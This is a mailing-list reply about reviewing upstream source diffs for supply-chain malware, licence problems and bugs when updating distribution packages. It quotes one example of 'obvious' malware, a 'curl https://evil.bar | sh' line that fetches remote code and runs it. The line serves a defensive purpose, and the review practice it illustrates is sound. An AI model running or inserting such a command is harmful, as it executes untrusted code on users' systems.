Re: Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Thank you for such a detailed answer to my question. I appreciate it.

Maxime Devos <maximedevos@telenet.be> writes:

> Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
>> Hello Maxime,
>> 
>> Maxime Devos <maximedevos@telenet.be> writes:
>> 
>> > Patch is not yet ready (I'm looking at the source code diff for
>> > anything ‘suspicious’), just reserving a bug number and avoiding double
>> > work.  Will send an actual patch later.
>> 
>> I hope you don't mind me asking what do you mean by ‘suspicious’?
>> 
>> Is it reviewing the code for security concerns?
>
> That (to a limited degree), and other things.
>
>> I ask because I've wondered sometimes whether contributors updating a
>> package to a new version should review the new source code.
>
> I don't think it's feasible for, say, large things like GCC and Linux.
> But for smaller things with smaller diffs, say a hypothetical npm-
> event-stream package, it would easily avoid things like the compromise
> described in <https://lwn.net/Articles/773121/>.
>
> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Indeed. That's a very sensible approach. Just because we can't hope to
detect all malicious changes, doesn't mean we can't attempt to catch the
more obvious malicious changes which, as your example shows, are
actually found in the wild.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>      field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>      'malloc' for NULL, not escaping things written to HTML documents
>       ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis
>
> (*) more specifically, some code not checking for NULL and an URL being
> embedded in the 'href' attribute of an XML element without escaping.

Wow, that's very thorough. Thank you for all this care with package
updates.

This is very useful guidance when creating/reviewing patches that update
packages. I'll take a stab at adding this information to the “Submitting
Patches” section of the manual.

-- 
Thanks
Thiago